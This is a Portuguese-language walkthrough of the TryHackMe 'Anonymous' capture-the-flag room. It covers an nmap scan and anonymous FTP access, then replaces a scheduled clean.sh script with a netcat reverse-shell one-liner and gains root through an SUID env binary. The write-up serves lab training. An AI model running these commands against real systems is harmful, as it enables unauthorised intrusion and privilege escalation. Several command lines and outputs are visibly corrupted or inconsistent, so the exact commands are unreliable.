



Olá! Tudo tranquilo? Meu nome é Gabriel, desta vez trago writeup da sala Anonymous do Try Hack Me, trata-se de uma sala nível médio.

Bom, sem muita enrolação, vamos lá!



Vamos começar fazendo um scan para verificarmos todas as portas abertas no alvo:

nmap -sS -p- --min-rate 10000 IP_ALVO

```
anonymous sudo nmap -sS -p- --min-rate 10000 10.10.235.142 -oN allports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-15 00:32 -03
Nmap scan report for 10.10.235.142 (10.10.235.142)
Host is up (0.24s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ftp
22/tcp open netbios-ssn
139/tcp open microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 11.86 seconds
anonymous
```

Bom, agora vamos fazer uma mais detalhado nestas portas:

nmap -sC -sV -p21,22,139,445 IP_ALVO

Vemos que o login anônimo é permitido, vamos logar:

ftp ip_alvo

```
- anonymous ftp 10.10.235.142
Connected to 10.10.235.142.
220 NamelessOne's FTP Server!
Name (10.10.235.142:bruce-wayne): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||25671|)
150 Here comes the directory listing.
drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||59866|)
150 Here comes the directory listing.
-rwxr-xrwx 1 1000 1000 314 Jun 04 2020 clean.sh
-rw-r-r-r-- 1 1000 1000 2838 Aug 15 04:00 removed_files.log
-rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt
```

Vemos um SHELL SCRIPT, um arquivo de logs e um arquivo de texto. Para baixar todos os arquivos, digite: mget *, e depois, digite yes em cada um. No arquivo de texto, nada de especial, já o script clean.sh é interessante! Se você logar no FTP novamente, verá que esse script é executado periodicamente:

Perceba que o tamanho do arquivo de log gerado pelo script, aumentou! Isso pode nos dar acesso a máquina, basta termos as permissões necessárias, editamos o script e já era! Olhando bem a imagem acima, perceba também que temos permissão de escrita nesse diretório, era o que precisávamos! Vamos editar o script e trocar o script que está no servidor pelo nosso script modificado:

Usando o editor de texto de sua preferência, escreva a linha: rm /tmp/f;mkfifo /tmp/f;cat /tmp/fl/bin/sh -i 2>&1lnc 10.0.0.1 1234 >/tmp/f mudando o IP para o seu IP e a porta você pode escolher outra se quiser, salve, logue no ftp novamente, entre no diretório scripts e digite:

```
ftp> append
(local-file) clean.sh
(remote-file) clean.sh
```

Após isso, inicie o netcat para receber a conexão, e pronto:

```
■ anonymous nc -lnvp 7777
listening on [any] 7777 ...
connect to [10.8.103.33] from (UNKNOWN) [10.10.235.142] 53284
bash: cannot set terminal process group (1621): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ |
```

USER FLAG

Caso não receba conexão imediatamente, espere um pouco, logue no FTP novamente, depois saia, e logo receberá a conexão. Recebida a conexão, agora é só pegar a user flag:

```
namelessone@anonymous:~$ ls
ls
pics
user.txt
namelessone@anonymous:~$ cat user.txt
cat user.txt
namelessone@anonymous:~$
```

ESCALANDO PRIVILÉGIOS E FLAG ROOT

Para tentarmos escalar nossos privilégios, vamos procurar por binários que tenham o bit SUID setado, usando o find, digite:

find / -type f -user root -perm -4000 2>/dev/null

/usr/bin/passwd /usr/bin/gpasswd

Perceba que o binário env possui o bit SUID setado, isso nos dará uma shell com privilégios de root. Entrando no site GTFObins e digitando env, desça até a seção:

SUID If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges. This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path. sudo install -= *xs \$(which env).

./env /bin/sh -p

Copie e cole o segundo comando, sem o ./, ao executar o comando você conseguirá uma shell como root. Ou caso queira, você pode apenas abrir a flag root, digitando:



Bom, é isso! Caso queira entrar em contato comigo, fique a vontade, até a próxima!

Deus te abençoe!